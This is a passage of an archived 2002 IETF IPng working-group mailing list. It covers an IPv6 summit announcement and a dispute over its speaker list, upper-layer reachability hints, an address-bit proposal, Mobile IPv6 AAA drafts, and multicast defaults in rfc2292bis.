these are Microsoft session by VP of MS, and HP session by CSO and CTO of HP. For the details, please access www.ipv6.net.cn and for registration, access www.ipv6.net.cn/event/8.htm I am sorry to say we don't accept online payment, I recommend you to pay the registration fee on the event. I look forward to your attendance and see you in Beijing. Best Regards , ------------------------------------------- Hua Ning Chief Engineer Beijing Internet-networking Institute, Beijing,China Mobile: +86-13501067449 Tel:+86-10-65660290 Fax:+86-10-65660297 ------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 05:50:29 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38CoTmF028985; Mon, 8 Apr 2002 05:50:29 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38CoTw3028984; Mon, 8 Apr 2002 05:50:29 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38CoPmF028977 for ; Mon, 8 Apr 2002 05:50:25 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA15854 for ; Mon, 8 Apr 2002 05:50:27 -0700 (PDT) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA02896 for ; Mon, 8 Apr 2002 06:50:27 -0600 (MDT) Received: from kenawang ([147.11.233.3]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id FAA22630; Mon, 8 Apr 2002 05:49:47 -0700 (PDT) Message-Id: <4.2.2.20020408084300.00aa0a50@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Mon, 08 Apr 2002 08:51:41 -0500 To: Arun Jose From: Margaret Wasserman Subject: Re: Forward Progress Reg: Cc: ipng@sunroof.eng.sun.com In-Reply-To: <20020408093148.10473.qmail@web14809.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Arun, > What time should IP expect this hints from the upper layer protocol ? Upper layer protocols should decide when in it possible for them to give advice to IP regarding whether another node is reachable. This advice may be given when there has been a positive demonstration of forward progress on a connection (i.e. an acknowledgement of data that was previously sent, a response to a query, etc.). It should not be given due to received traffic that may only confirm one way connectivity between the remote node and the local node (i.e. receiving a query, receiving new data, etc.). For TCP, the advice may be given when an acknowledgement is received for data that has not been previously acknowledged. UDP would not offer this advice at all, as it never knows that two way connectivity is available. However, higher layer UDP applications may give advice when they receive confirmation of two way connectivity. In many cases, the IP layer may not receive this type of advice about a communication. For instance, an SNMP agent may never receive a positive indication that its NMS is reachable. This applies to any responder in a query/ response system. I don't know to what extent this optimization has been implemented in current stacks -- Does anyone know if KAME implements this? I also don't know what API support, if any, is provided to allow UDP applications to provide this type of advice to IP. Anyone? Margaret > Will it be with all the packets sent from the upper layer or >do we have any mechanism like a setsockopt () so that the upper layer can >inform the IP about the forward progress? Please help. > > >Thank You in advance > >(Arun Jose) > > > >Do You Yahoo!? >Yahoo! Tax Center - online filing with TurboTax -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 06:20:50 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38DKomF029068; Mon, 8 Apr 2002 06:20:50 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38DKoFT029067; Mon, 8 Apr 2002 06:20:50 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38DKlmF029060 for ; Mon, 8 Apr 2002 06:20:47 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA20102 for ; Mon, 8 Apr 2002 06:20:50 -0700 (PDT) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA21975 for ; Mon, 8 Apr 2002 07:20:48 -0600 (MDT) Received: from esvir02nok.ntc.nokia.com (esvir02nokt.ntc.nokia.com [172.21.143.34]) by mgw-x2.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g38DL2515430 for ; Mon, 8 Apr 2002 16:21:02 +0300 (EET DST) Received: from esebh004.NOE.Nokia.com (unverified) by esvir02nok.ntc.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Mon, 8 Apr 2002 16:20:46 +0300 Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Mon, 8 Apr 2002 16:20:46 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Using "a bit" as a protection against bidding down / for somethingelse Date: Mon, 8 Apr 2002 16:20:46 +0300 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEFD38D8D@esebe004.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Using "a bit" as a protection against bidding down / for somethingelse Thread-Index: AcHe466XMIWcXWZpQ36BRpsMHGV75wAG5Nfg To: Cc: , X-OriginalArrivalTime: 08 Apr 2002 13:20:46.0559 (UTC) FILETIME=[317156F0:01C1DF00] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g38DKlmF029061 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Brian, > > 1. Don't see what residual threats there are. > > 2. I see the residual threats, but I think we can live with them. > > > > If it's 2, then, cool, we can agree to disagree, end of thread. > > If it's 1, then we can continue. > > I think it's > 3. I see the residual threats, and I think it's illusory to believe > that overloading the address significantly reduces them I agree with you (I support your choice 3). Additionally, I'd modify it to: 3. I see the residual threats, and I think it's illusory to believe that overloading the address significantly reduces them and that overloading the address may not be the right architectural thing to do. In support of this, I'd suggest reading this: http://search.ietf.org/internet-drafts/draft-iab-arch-changes-00.txt My simple point being that adding the bit changes somewhat the semantics of the IP address and it does not seem that there is anywhere near consensus that this would be the right thing to do. John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 06:22:30 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38DMTmF029087; Mon, 8 Apr 2002 06:22:30 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38DMTFM029086; Mon, 8 Apr 2002 06:22:29 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38DMPmF029079; Mon, 8 Apr 2002 06:22:25 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA05372; Mon, 8 Apr 2002 06:22:28 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA09777; Mon, 8 Apr 2002 07:22:25 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 4610F4B22; Mon, 8 Apr 2002 22:22:21 +0900 (JST) To: "Hua Ning" Cc: "IPv6 Forum Members" , "ipng" , "ngtrans" In-reply-to: nhua's message of Mon, 08 Apr 2002 20:48:10 +0800. <007e01c1defb$a43922d0$79116aca@huaning> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: (ngtrans) Global IPv6 Summit in Beijing , China on 9-11 May From: itojun@iijlab.net Date: Mon, 08 Apr 2002 22:22:21 +0900 Message-ID: <29341.1018272141@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > I am honored to announce that IPv6 Summit'll be held >for the first time in China. > The development of IPv6 is of special significance to >China in that both the numbers of its Internet subscribers >and mobile users are expected to reach 300 million >by the year 2005. This calls for an urgent need to satisfy >the tremendous demand for global IP address. > The theme of the event is: Commercialize IPv6, which >focuses on latest industry and technology developments in IPv6 field. > The event gets so much attentions and supports from >IPv6 community and industry that it's really beyond my original >expectation. I got so many qualified speech application that >I have to break this Summit into lots of sessions to accomodate them, there'll be >three different sessions to be held simultaneously in the second >day of the Summit. More than 55 speeches will be presented , >The number of audiences is expected to exceed 1500. excuse me. i have never contacted by conference organizers, however, my name is on the list of speakers (agenda page). what is the situation? i would say it is rather bogus. conference organizers should clarify the current situation. btw, i'm not scheduled to attend. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 07:23:44 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38ENimF029357; Mon, 8 Apr 2002 07:23:44 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38ENiRA029355; Mon, 8 Apr 2002 07:23:44 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38ENcmF029342; Mon, 8 Apr 2002 07:23:38 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA28366; Mon, 8 Apr 2002 07:23:23 -0700 (PDT) Received: from mail1.beijingnet.com ([202.136.254.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA11487; Mon, 8 Apr 2002 08:23:20 -0600 (MDT) Received: from huaning (bt-228-076.bta.net.cn [202.106.228.76] (may be forged)) by mail1.beijingnet.com (8.8.8+2.7Wbeta7/3.6W) with SMTP id WAA10466; Mon, 8 Apr 2002 22:25:34 +0800 (CST) Message-ID: <015601c1df08$9f81a250$79116aca@huaning> From: "Hua Ning" To: Cc: "IPv6 Forum Members" , "ipng" , "ngtrans" , "cao yang" , "Le Ricky Lu" , "Liu Dong" References: <29341.1018272141@itojun.org> Subject: Re: (ngtrans) Global IPv6 Summit in Beijing , China on 9-11 May Date: Mon, 8 Apr 2002 22:21:05 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="gb2312" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by sunroof.eng.sun.com id g38ENcmG029344 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk hi , Sorry for the trouble to you. Mr. Ricky(from WIDE Project) told me you would present. Anyway, we'll delete your name quickly. Pls don't use "bogus" , it really hurts. We don't intend to forge anything. Hua Ning > > i have never contacted by conference organizers, however, my name is > on the list of speakers (agenda page). what is the situation? > i would say it is rather bogus. conference organizers should clarify > the current situation. > > btw, i'm not scheduled to attend. > > itojun > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 07:25:05 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38EP5mF029401; Mon, 8 Apr 2002 07:25:05 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38EP5I4029400; Mon, 8 Apr 2002 07:25:05 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38EP1mF029390 for ; Mon, 8 Apr 2002 07:25:01 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA28580 for ; Mon, 8 Apr 2002 07:25:02 -0700 (PDT) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.34]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA11613 for ; Mon, 8 Apr 2002 07:25:01 -0700 (PDT) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g38EP0s7028398 for ; Mon, 8 Apr 2002 16:25:00 +0200 (MEST) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt461 ; Mon Apr 08 15:39:46 2002 +0200 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id <2JBTDM0P>; Mon, 8 Apr 2002 15:39:46 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC40@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Francis Dupont'" , Damir Bilajbegovic Cc: ipng@sunroof.eng.sun.com Subject: RE: Authentication, Authorization and Accounting (aaa) Date: Mon, 8 Apr 2002 15:39:39 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis, I don't think it is fair to recommend that someone implements a personal draft that is not approved by PANA as _the_ IPv6 AAA document. At least a disclaimer should be included. I don't even know if it is a AAA WG draft. Hesham > -----Original Message----- > From: Francis Dupont [mailto:Francis.Dupont@enst-bretagne.fr] > Sent: Saturday, April 06, 2002 3:55 PM > To: Damir Bilajbegovic > Cc: ipng@sunroof.eng.sun.com > Subject: Re: Authentication, Authorization and Accounting (aaa) > > > In your previous mail you wrote: > > For my university I must implement Authentication, > Authorization and > Accounting for Mobile IPv6. What is the simplest way to > do it and what > documents I must read. > > => draft-le-aaa-mipv6-requirements-00.txt > > Regards > > Francis.Dupont@enst-bretagne.fr > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 07:34:26 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38EYQmF029561; Mon, 8 Apr 2002 07:34:26 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38EYQCC029560; Mon, 8 Apr 2002 07:34:26 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38EYNmF029553 for ; Mon, 8 Apr 2002 07:34:23 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA24043 for ; Mon, 8 Apr 2002 07:34:24 -0700 (PDT) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA24913 for ; Mon, 8 Apr 2002 08:34:22 -0600 (MDT) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id g38EYAA04967; Mon, 8 Apr 2002 16:34:10 +0200 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id QAA07146; Mon, 8 Apr 2002 16:34:10 +0200 (MET DST) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id g38EY9n01857; Mon, 8 Apr 2002 16:34:10 +0200 (CEST) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200204081434.g38EY9n01857@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Hesham Soliman (ERA)" cc: Damir Bilajbegovic , ipng@sunroof.eng.sun.com Subject: Re: Authentication, Authorization and Accounting (aaa) In-reply-to: Your message of Mon, 08 Apr 2002 15:39:39 +0200. <4DA6EA82906FD511BE2F00508BCF053802C6AC40@Esealnt861.al.sw.ericsson.se> Date: Mon, 08 Apr 2002 16:34:09 +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: I don't think it is fair to recommend that someone implements a personal draft that is not approved by PANA => why do you speak about PANA? The request is clearly for a document about AAA and Mobile IPv6. as _the_ IPv6 AAA document. => same question. And I didn't say this is _the_ document. At least a disclaimer should be included. => I don't believe a disclaimer is needed, and there is no other active AAA/MIPv6 document today. I don't even know if it is a AAA WG draft. => the name can answer to your question: this is not an AAA WG draft, mainly because MIPv6 is still far from last call. > For my university I must implement Authentication, > Authorization and > Accounting for Mobile IPv6. What is the simplest way to > do it and what > documents I must read. > > => draft-le-aaa-mipv6-requirements-00.txt Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 07:39:43 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38EdhmF029632; Mon, 8 Apr 2002 07:39:43 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38Edga9029631; Mon, 8 Apr 2002 07:39:42 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38EddmF029624 for ; Mon, 8 Apr 2002 07:39:39 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA01586 for ; Mon, 8 Apr 2002 07:39:41 -0700 (PDT) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.46]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA16513 for ; Mon, 8 Apr 2002 07:39:40 -0700 (PDT) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g38Edd3G007815 for ; Mon, 8 Apr 2002 16:39:39 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Mon Apr 08 16:37:17 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Mon, 8 Apr 2002 16:29:19 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC43@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Francis Dupont'" , "Hesham Soliman (ERA)" Cc: Damir Bilajbegovic , ipng@sunroof.eng.sun.com Subject: RE: Authentication, Authorization and Accounting (aaa) Date: Mon, 8 Apr 2002 16:39:28 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > => why do you speak about PANA? The request is clearly for > a document > about AAA and Mobile IPv6. => PANA is the interface between the MN and the visited/Home network. I consider that interface to be part of AAA. At least the first 2 A's. > I don't even know if it is a AAA WG draft. > > => the name can answer to your question: this is not an AAA > WG draft, > mainly because MIPv6 is still far from last call. => I don't think that's the reason at all, but this is a discussion for another thread and mailing list. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 07:56:59 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38EuxmF029731; Mon, 8 Apr 2002 07:56:59 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38Euxdf029730; Mon, 8 Apr 2002 07:56:59 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38EutmF029723 for ; Mon, 8 Apr 2002 07:56:55 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA03878 for ; Mon, 8 Apr 2002 07:56:56 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA00532 for ; Mon, 8 Apr 2002 08:56:55 -0600 (MDT) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g38EuVo34049; Mon, 8 Apr 2002 23:56:31 +0900 (JST) Date: Mon, 08 Apr 2002 23:56:32 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Toerless Eckert Cc: matt@3am-software.com, Erik.Nordmark@sun.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: <20020406092839.Y23226@cypher.cisco.com> References: <20020405102605.J23226@cypher.cisco.com> <20020406092839.Y23226@cypher.cisco.com> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 24 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Sat, 6 Apr 2002 09:28:39 -0800, >>>>> Toerless Eckert said: > Well, i've just seen bad and worse ip multicast applications over the > last 10 years, programmers have been ignorant about the issues at hand > and people who deploy the applications have been ignorant about the > network issues they cause. Out of curiosity, do you have concrete examples of the bad applications? I tend to agree with you, but I'm still not fully convinced that application programmers are that silly and we need to add the complicated intelligence to the kernel. I'd also like to hear from others. We cannot make a decision just from the "local" conversation... If we reach consensus on adding something to deal with this issue, then we'll definitely need another revision of the draft (and another working group last call?). JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 8 08:30:19 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38FUImF000159; Mon, 8 Apr 2002 08:30:19 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g38FUINJ000158; Mon, 8 Apr 2002 08:30:18 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g38FUEmF000148 for ; Mon, 8 Apr 2002 08:30:15 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA16122 for ; Mon, 8 Apr 2002 08:30:16 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA24655; Mon, 8 Apr 2002 09:30:16 -0600 (MDT) Received: from mira-sjcd-4.cisco.com (IDENT:mirapoint@mira-sjcd-4.cisco.com [171.69.43.47]) by sj-msg-core-3.cisco.com (8.12.2/8.12.2) with ESMTP id g38FT7Cl027123; Mon, 8 Apr 2002 08:29:07 -0700 (PDT) Received: from [10.34.255.54] ([10.34.255.54]) by mira-sjcd-4.cisco.com (Mirapoint) with ESMTP id ADH11871; Mon, 8 Apr 2002 08:28:21 -0700 (PDT) Mime-Version: 1.0 X-Sender: deering@mira-sjcd-4.cisco.com Message-Id: In-Reply-To: References: <20020405102605.J23226@cypher.cisco.com> <20020406092839.Y23226@cypher.cisco.com> Date: Mon, 8 Apr 2002 08:29:19 -0700 To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= From: Steve Deering Subject: Re: rfc2292bis text proposal Cc: Toerless Eckert , matt@3am-software.com, Erik.Nordmark@sun.com, ipng@sunroof.eng.sun.com Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 11:56 PM +0900 4/8/02, JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= wrote: > >>>>> On Sat, 6 Apr 2002 09:28:39 -0800, > >>>>> Toerless Eckert said: > > > Well, i've just seen bad and worse ip multicast applications over the > > last 10 years, programmers have been ignorant about the issues at hand > > and people who deploy the applications have been ignorant about the > > network issues they cause. > >Out of curiosity, do you have concrete examples of the bad >applications? I tend to agree with you, but I'm still not fully >convinced that application programmers are that silly and we need to >add the complicated intelligence to the kernel. > >I'd also like to hear from others. We cannot make a decision just >from the "local" conversation... Jinmei-san, There is at least some precedent for having different default behavior for IP multicast than unicast, in order to reduce the chance of accidental "misuse" of multicast: in the IPv4 multicast socket support, we had TTL default to 1 for multicast, so that someone wanting to send multi-hop multicasts had to explicitly say so. I think Toerless's suggestion is in the same spirit, ensuring that multicast MTU discovery doesn't happen unless 